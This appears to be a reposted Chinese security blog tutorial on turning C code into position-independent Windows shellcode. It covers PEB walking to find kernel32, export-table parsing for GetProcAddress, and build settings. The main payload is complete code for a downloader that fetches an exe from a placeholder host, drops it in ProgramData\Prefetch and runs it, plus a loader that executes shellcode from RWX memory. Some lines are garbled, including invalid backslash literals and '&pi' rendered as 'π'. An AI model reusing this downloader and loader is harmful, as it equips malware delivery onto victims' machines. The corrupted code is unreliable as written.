本文主要是基于网上一些现有的shellcode编写文章的学习整理和思考。本篇主要是通过C代码生成shellcode,比较容易上手和实操,后面可能也会写直接用汇编写shellcode。
前置知识
shellcode是指不依赖环境,放到任何地方都可以执行的机器码。编写shellcode需要注意如下事项:
1)不能有全局变量,因为shellcode不依赖环境,放到其他程序中执行不一定会有这个全局变量;
2)不能使用常量字符串,也就是类似于"abc"这样的字符串,需要通过数组定义字符串,例如char string[] = {'a', 'b', 'c'}; 或者char string[] = {0x61, 0x62, 0x63}; 这是因为双引号字符串编译器会优先存放在常量区中,其他程序不一定有这样一个常量区;而使用数组定义字符串,数据会直接放到堆栈中,不依赖外部环境。
3)函数、导入表不使用绝对地址,因为系统不会每次都把DLL文件加载到相同地址上,而且DLL文件可能随着Windows每次新发布的更新而发生变化,所以不能依赖DLL文件中某个函数特定的偏移。shellcode需要在调用函数时,先用LoadLibrary把函数所属的DLL文件加载到内存,然后通过GetProcAddress查找所需要的函数地址,通过这个地址进行函数调用。
4)避免空字节,空字节被认为是字符串的结束符。
所以为了能够动态获取函数地址,需要先找到GetProcAddress函数的地址,随后再通过GetProcAddress函数获取LoadLibrary函数的地址,有了这两个函数地址,就能实现其他DLL的动态加载和各种函数的调用了。
GetProcAddress函数在kernel32.dll中,所以还得先找到进程中kernel32.dll模块的基地址,由于kernel32.dll存在于任何进程的内存空间中,所以可以通过进程PEB来寻找。
综上,shellcode实现的基本过程如下:
1)通过FS寄存器获取PEB结构位置,然后通过PEB结构获取 kernel32.dll 的基地址
2)通过 kernel32.dll 的PE文件格式找到导出表的地址,并通过导出表定位 GetProcAddress 函数的RVA
3)通过 GetProcAddress 函数从kernel32.dll获取 LoadLibraryA 的函数地址
4)通过 GetProcAddress 和 LoadLibraryA 两个函数来加载各种dll文件查找各种函数实现各种功能
接下来详细说明这些过程如何实现。
寻找PEB结构地址
微软将进程中的每个线程都设置了一个独立的结构数据。这个结构体内存储着当前线程大量的信息。这个结构被称为TEB(线程环境块)。通过TEB结构内的成员属性向下扩展,可以得到很多线程信息。
TEB结构的其中一个成员为PEB(进程环境块),这个结构中存储着整个进程的信息。通过对PEB中成员的向下扩展可以找到一个存储着该进程所有模块数据的链表。
TEB结构指针存储在fs寄存器中,在32位程序中,PEB 结构的偏移量相对于FS段寄存器的值为0x30。
FS:[30] == TEB.ProcessEnvironmentBlock == address of PEB
TEB结构(部分):
typedef struct _TEB
{
NT_TIB Tib; /* 00h */
PVOID EnvironmentPointer; /* 1Ch */
CLIENT_ID Cid; /* 20h */
PVOID ActiveRpcHandle; /* 28h */
PVOID ThreadLocalStoragePointer; /* 2Ch */
struct _PEB *ProcessEnvironmentBlock; /* 30h */
ULONG LastErrorValue; /* 34h */
ULONG CountOfOwnedCriticalSections; /* 38h */
PVOID CsrClientThread; /* 3Ch */
struct _W32THREAD* Win32ThreadInfo; /* 40h */
ULONG User32Reserved[0x1A]; /* 44h */
ULONG UserReserved[5]; /* ACh */
PVOID WOW32Reserved; /* C0h */
LCID CurrentLocale; /* C4h */
ULONG FpSoftwareStatusRegister; /* C8h */
PVOID SystemReserved1[0x36]; /* CCh */
......
} TEB, *PTEB;
通过PEB结构获取 kernel32.dll 基地址
PEB结构如下:
PEB结构(部分):
typedef struct _PEB
{
UCHAR InheritedAddressSpace; // 00h
UCHAR ReadImageFileExecOptions; // 01h
UCHAR BeingDebugged; // 02h
UCHAR Spare; // 03h
PVOID Mutant; // 04h
PVOID ImageBaseAddress; // 08h
PPEB_LDR_DATA Ldr; // 0Ch
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
PVOID SubSystemData; // 14h
PVOID ProcessHeap; // 18h
PVOID FastPebLock; // 1Ch
PPEBLOCKROUTINE FastPebLockRoutine; // 20h
PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
...
} PEB, *PPEB;
PEB偏移为0x0c处存储着Ldr指针,它指向一个 _PEB_LDR_DATA 结构。PEB_LDR_DATA 结构如下:
typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
可以看到这这个结构里面有三个 LIST_ENTRY 类型的链表成员,链表内的节点都是一样的,都能用来遍历进程中的DLL模块,只是排序不同。(InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList,这几个链表链接DLL模块的顺序不同,分别是根据DLL的加载顺序、DLL在内存中的顺序、DLL初始化的顺序)。
三个链表的入口结构 _LIST_ENTRY 如下:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
这个结构有两个成员,第一个成员Flink前驱指针指向下一个节点的Flink,Blink后驱指针指向上一个节点的Blink。最后一个成员的Flink/Blink指向第一个成员的Flink/Blink。所以这是一个双向链表。
当我们从 PEB_LDR_DATA 结构中取到 InMemoryOrderModuleList 结构时,这个结构中的Flink指向真正的模块链表,这个真正的链表的每个成员都是一个 LDR_DATA_TABLE_ENTRY 结构。
也就是说前面的的 _PEB_LDR_DATA 只是一个入口,这个结构只有一个,它不是链表节点,真正的链表节点结构 LDR_DATA_TABLE_ENTRY 如下,每个 LDR_DATA_TABLE_ENTRY 节点结构中偏移为 0x18 处的成员为DllBase:
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks; // 0x0
LIST_ENTRY InMemoryOrderLinks; // 0x08
LIST_ENTRY InInitializationOrderLinks; // 0x10
PVOID DllBase; // 0x18
PVOID EntryPoint; // 0x1c
ULONG SizeOfImage; // 0x20
UNICODE_STRING FullDllName; // 0x24
UNICODE_STRING BaseDllName; // 0x2c
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
-
_LDR_DATA_TABLE_ENTRY结构中的 _LIST_ENTRY 结构对应下一个 _LDR_DATA_TABLE_ENTRY 节点中的 _LIST_ENTRY 结构。
-
如:第一个 _LDR_DATA_TABLE_ENTRY 结构中的 InMemoryOrderModuleLinks中的 Flink 指向的是第二个 _LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderModuleLinks 的首地址(Flink)。而不是另外两个 _LIST_ENTRY 结构。
-
第一个 _LDR_DATA_TABLE_ENTRY 结构中的 Blink 指向 PEB_LDR_DATA 中对应成员的 Blink
-
最后一个 _LDR_DATA_TABLE_ENTRY 结构中的 Flink 指向 PEB_LDR_DATA 中对应的成员的 Flink
-
PEB_LDR_DATA 结构中的 Blink 指向最后一个 _LDR_DATA_TABLE_ENTRY 中对应成员的 Blink
-
PEB_LDR_DATA 结构中的 Flink 指向第一个 _LDR_DATA_TABLE_ENTRY 中对应的成员的 Flink
这里会有点难懂,这个双向链表大致如下图所示,只有第一个入口结构是 _PEB_LDR_DATA,后面的都是 _LDR_DATA_TABLE_ENTRY 结构:
抽象一点就是下图:
可以看到这是一个以 PEB_LDR_DATA 为起点的一个闭合环形双向链表。通过遍历链表,比较dllName字符串内容可以找到目标模块的所属节点(当然Kernel32.dll在内存中一般是第三个模块,这步可以省略)。
找到特定的DLL所属的链表节点之后,再通过特定偏移获取节点成员DllBase,可以定位该模块的基地址(DOS头起始)处。
获取 kernel32.dll 基址的函数如下:
DWORD getKernel32()
{
__asm{
mov eax, fs: [30h]
mov eax, [eax + 0ch]
mov eax, [eax + 14h]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 10h]
ret
}
}
详细解释:
mov eax, fs: [30h]
fs:[30] 存储的是PEB结构的基地址,将PEB结构的地址赋给eax。
mov eax, [eax + 0ch]
获取Ldr(PEB_LDR_DATA)结构体地址,也就是PEB 0ch处的偏移,将地址赋给eax。
mov eax, [eax + 14h]
获取PEB_LDR_DATA结构体中InMemoryOrderModuleList成员链表入口结构地址(Flink)。该结构体的三个成员链表都可以获取kernel32的基址,这里用的是InMemoryOrderModuleList,在Ldr结构中的偏移是14h。
两次mov eax, [eax]
获取链表中的第一个模块(程序本身)的 LDR_DATA_TABLE_ENTRY 结构中 InMemoryOrderLink 成员的Flink地址,其实就是把eax里面的地址里保存的数据(下一个Flink地址),再赋给eax,后面再把下一个Flink指向的地址(再下一个FLink),再赋给eax,就能一个接一个的获取每个模块的 LDR_DATA_TABLE_ENTRY 结构中InMemoryOrderLink 成员的Flink。两次这个指令执行后,eax中存储的是第二个模块的Flink指向的地址,也就是第三个模块的Flink。
mov eax, [eax + 10h]
获取第三个模块(kernel32)的基地址,LDR_DATA_TABLE_ENTRY 结构的0x18偏移处是DLL的基地址,而现在eax中存储的是 InMemoryOrderLinks 的Flink地址(偏移0x08),所以再加10h偏移,就是kernel32.dll的基地址
或者也可以使用下面的等效指令:
mov eax, fs:[30h] ; 获取PEB的基地址
mov eax, [eax + 0ch] ; 获取Ldr结构体地址
mov esi, [eax + 14h] ; 获取初始化顺序链表的地址,存入esi
lodsd ; 从esi指向的地址读取第一个模块的地址到eax中,并更新esi指向下一个32位数据
xchg eax, esi ; 交换eax和esi的值,结果是eax为第一个模块地址,esi为链表中的下一个模块地址
lodsd ; 从esi指向的地址读取第二个模块的地址到eax中
mov eax, [eax + 10h] ; 获取第三个模块的基地址(eax偏移0x10处就是kernel32的基地址,原理同上)
ret
寻找 GetProcAddress 函数地址
现在获取到了Kernel32模块的基地址,接下来就是寻找 GetProcAddress 函数的地址了。
对 Kernel32.dll 的PE结构进行解析,搜索导出表,从导出表获取GetProcAddress函数地址。
代码如下,解释都在注释里了:
FARPROC _GetProcAddress(HMODULE hModuleBase)
{
// 将 hModuleBase 转换为 PIMAGE_DOS_HEADER 类型的指针,指向 DOS 头
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
// 计算 NT 头部的位置。lpDosHeader->e_lfanew 是 NT 头部相对于 DOS 头部的偏移量,将其加到模块基地址上,得到 NT 头部的地址,并将其转换为 PIMAGE_NT_HEADERS32 类型的指针
PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
// 检查导出表的大小是否为零。如果为零,说明没有导出表,返回 NULL
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
return NULL;
}
// 检查导出表的虚拟地址是否为零。如果为零,说明导出表不存在,返回 NULL
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
return NULL;
}
// 根据导出表的虚拟地址计算出导出表在内存中的实际地址,并将其转换为 PIMAGE_EXPORT_DIRECTORY 类型的指针
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取函数名称地址表的实际地址。lpExports->AddressOfNames 是函数名称表的 RVA,加上模块基地址后得到实际地址
PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
// 获取函数名称序号表的实际地址。lpExports->AddressOfNameOrdinals 是函数名称序号表的 RVA,加上模块基地址后得到实际地址
PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
// 获取函数地址表的实际地址。lpExports->AddressOfFunctions 是函数地址表的 RVA,加上模块基地址后得到实际地址
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
// 遍历导出表中的所有函数名称。lpExports->NumberOfNames 是函数名称表中的函数数量
for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {
// 获取当前函数名称的实际地址。lpdwFunName[dwLoop] 是函数名称的 RVA,加上模块基地址后得到函数名称的实际地址
char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
// 检查当前函数名称是否是 "GetProcAddress"。
if (pFunName[0] == 'G' &&
pFunName[1] == 'e' &&
pFunName[2] == 't' &&
pFunName[3] == 'P' &&
pFunName[4] == 'r' &&
pFunName[5] == 'o' &&
pFunName[6] == 'c' &&
pFunName[7] == 'A' &&
pFunName[8] == 'd' &&
pFunName[9] == 'd' &&
pFunName[10] == 'r' &&
pFunName[11] == 'e' &&
pFunName[12] == 's' &&
pFunName[13] == 's')
{
// 如果找到了 GetProcAddress 函数,将其地址计算出来并返回。
// lpword[dwLoop] 是当前函数名称在序号表中的索引,lpdwFunAddr 中对应的地址加上模块基地址就是实际的函数地址。
pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
break;
}
}
return pRet;
}
构建VS项目
项目配置(VS2022为例)
1)设置项目为release版本,x86(x64不支持内联汇编)
2)属性 → C/C++ → 代码生成 → 安全检查 → 禁用安全检查
3)属性 → C/C++ → 代码生成 → 运行库 → 多线程(/MT)
4)属性 → C/C++ → 优化 → 已禁用
5)属性 → 链接器 → 系统 → 子系统 → 窗口
6)属性 → 链接器 → 高级 → 随机基址 → 否
7)属性 → 链接器 → 高级 → 入口点 → 改成其他的名字(EntryMain),作为程序的入口函。默认的入口点会自动初始化crt函数,不要这些冗余的东西
8)属性 → 链接器 → 清单文件 → 生成清单文件 → 否
9)属性 → 链接器 → 调试 → 生成调试信息 → 否
现在我们要生成一段shellcode,功能为远程下载一个exe并启动,一个简单的DownLoader。
正常编写这个功能,代码是这样子的:
int main() {
const char* filePath = "C:\ProgramData\Prefetch\calc.exe";
URLDownloadToFileA(NULL, "http://xx.xx.xx.xx:8011/calc.exe", filePath, 0, NULL);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
CreateProcessA(filePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)
}
但是现在要把这些代码转换成符合shellcode要求的形式,就不能静态链接DLL文件,也不能直接调用 URLDownloadToFileA、ZeroMemory、CreateProcessA 这些API函数。
我们在上面已实现了获取GetPorcAddress函数地址,现在需要先找到LoadLibrary函数的地址进行调用,动态导入各种API函数所在的DLL并通过GetPorcAddress获取函数地址,通过指针进行调用。此外,代码里面的字符串也都需要转换成字节数组的形式。
完整代码如下,自行在后面拼接前面实现的俩函数:
DWORD getKernel32(); // 获取Kernel32基址的函数声明,函数实现需要放在EntryMain后面
FARPROC _GetProcAddress(HMODULE hModuleBase);// 获取GetProcAddress地址的函数声明,实现要放后面
int EntryMain() {// 自定义的入口点
// 定义一个指向GetProcAddress的函数指针
typedef FARPROC(WINAPI* FN_GetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);
// 获取GetProcAddress地址
FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)_GetProcAddress((HMODULE)getKernel32());
// 定义指向LoadLibraryA的函数指针
char szLoadLibraryA[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
typedef HMODULE(WINAPI* FN_LoadLibraryA)(_In_ LPCSTR lpLibFileName);
FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress((HMODULE)getKernel32(), szLoadLibraryA);
// 导入urlmon.dll
char urlmonDll[] = { 'u','r','l','m','o','n',0 };
HMODULE hurlmon = fn_LoadLibraryA(urlmonDll);
// 定义指向URLDownloadToFileA的函数指针
char szURLDownloadToFileA[] = { 'U','R','L','D','o','w','n','l','o','a','d','T','o','F','i','l','e','A',0 };
typedef HRESULT(__stdcall* FN_URLDownloadToFileA)(_In_opt_ LPUNKNOWN, _In_ LPCSTR, _In_opt_ LPCSTR, DWORD, _In_opt_ LPBINDSTATUSCALLBACK);
FN_URLDownloadToFileA fn_URLDownloadToFileA = (FN_URLDownloadToFileA)fn_GetProcAddress(hurlmon, szURLDownloadToFileA);
// 调用URLDownloadToFileA下载文件
char szUrl[] = { 'h','t','t','p',':','/','/','x','x','x','.','x','x','x','.','x','x','x','.','x','x','x',':','8','0','1','1' ,'/','c','a','l','c','.','e','x','e',0 };
char szFilePath[] = { 'C',':','\','P','r','o','g','r','a','m','D','a','t','a','\','P','r','e','f','e','t','c','h','\','c','a','l','c','.','e','x','e',0 };
fn_URLDownloadToFileA(NULL, szUrl, szFilePath, 0, NULL);
// 调用CreateProcessA启动下载下来的文件
STARTUPINFOA si;
PROCESS_INFORMATION pi;
// 导入msvcrt模块。,调用memset。ZeroMemory底层调的memset
typedef void(__cdecl* FN_memset)(_Out_writes_bytes_all_(_Size) void* _Dst, _In_ int _Val, _In_ size_t _Size);
char szmemset[] = { 'm','e','m','s','e','t',0 };
char msvcrtDll[] = { 'm','s','v','c','r','t',0 };
HMODULE msvcrt = fn_LoadLibraryA(msvcrtDll);
FN_memset fn_memset = (FN_memset)fn_GetProcAddress(msvcrt, szmemset);
fn_memset(&si, 0, sizeof(si));
fn_memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
// 获取CreateProcessA函数地址并调用,原理同上
typedef BOOL(WINAPI* FN_CreateProcessA)(
_In_opt_ LPCSTR lpApplicationName,
_Inout_opt_ LPSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOA lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
)
;
char szCreateProcessA[] = { 'C','r','e','a','t','e','P','r','o','c','e','s','s','A',0 };
FN_CreateProcessA fn_CreateProcessA = (FN_CreateProcessA)fn_GetProcAddress((HMODULE)getKernel32(), szCreateProcessA);
fn_CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
return 0;
}
也可以直接操作裸指针和内存来模拟memset等内存操作(推荐,可以减小Shellcode的长度和复杂度,减少代码中不必要的辅助函数调用):
unsigned char* dst = (unsigned char*)&si;
unsigned char val = 0;
for (size_t i = 0; i < sizeof(si); ++i) {
dst[i] = val; // 将每个字节设置为0
}
unsigned char* dst2 = (unsigned char*)π
unsigned char val2 = 0;
for (size_t i = 0; i < sizeof(pi); ++i) {
dst2[i] = val2;
}
编译项目,用PE分析工具打开生成的exe,查询程序入口点偏移:
使用十六进制编辑器打开exe,从偏移处copy机器码,就是shellcode:
写一个Loader验证一下shellcode是否可用:
unsigned char sc[] = {
0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x08, 0x01, 0x00, 0x00, 0xE8, 0x72, 0x03, 0x00, 0x00, 0x50, 0xE8,
0x8C, 0x03, 0x00, 0x00, 0x83, 0xC4, 0x04, 0x89, 0x45, 0xFC, 0xC6, 0x45, 0xD4, 0x4C, 0xC6, 0x45,
0xD5, 0x6F, 0xC6, 0x45, 0xD6, 0x61, 0xC6, 0x45, 0xD7, 0x64, 0xC6, 0x45, 0xD8, 0x4C, 0xC6, 0x45,
......
0xFC, 0x0F, 0xBE, 0x04, 0x0A, 0x83, 0xF8, 0x73, 0x75, 0x2C,
0xB9, 0x01, 0x00, 0x00, 0x00, 0x6B, 0xD1, 0x0D, 0x8B, 0x45, 0xFC, 0x0F, 0xBE, 0x0C, 0x10, 0x83,
0xF9, 0x73, 0x75, 0x18, 0x8B, 0x55, 0xF8, 0x8B, 0x45, 0xE0, 0x0F, 0xB7, 0x0C, 0x50, 0x8B, 0x55,
0xDC, 0x8B, 0x04, 0x8A, 0x03, 0x45, 0x08, 0x89, 0x45, 0xEC, 0xEB, 0x05, 0xE9, 0x82, 0xFE, 0xFF,
0xFF, 0x8B, 0x45, 0xEC, 0x8B, 0xE5, 0x5D, 0xC3, 0x00
};
int main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, sc, sizeof(sc));
((void(*)())Memory)();
}
成功运行:
来啊,一起当保安↓↓
原文始发于微信公众号(sec0nd安全):Shellcode学习(一) —— 通过C编写shellcode
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论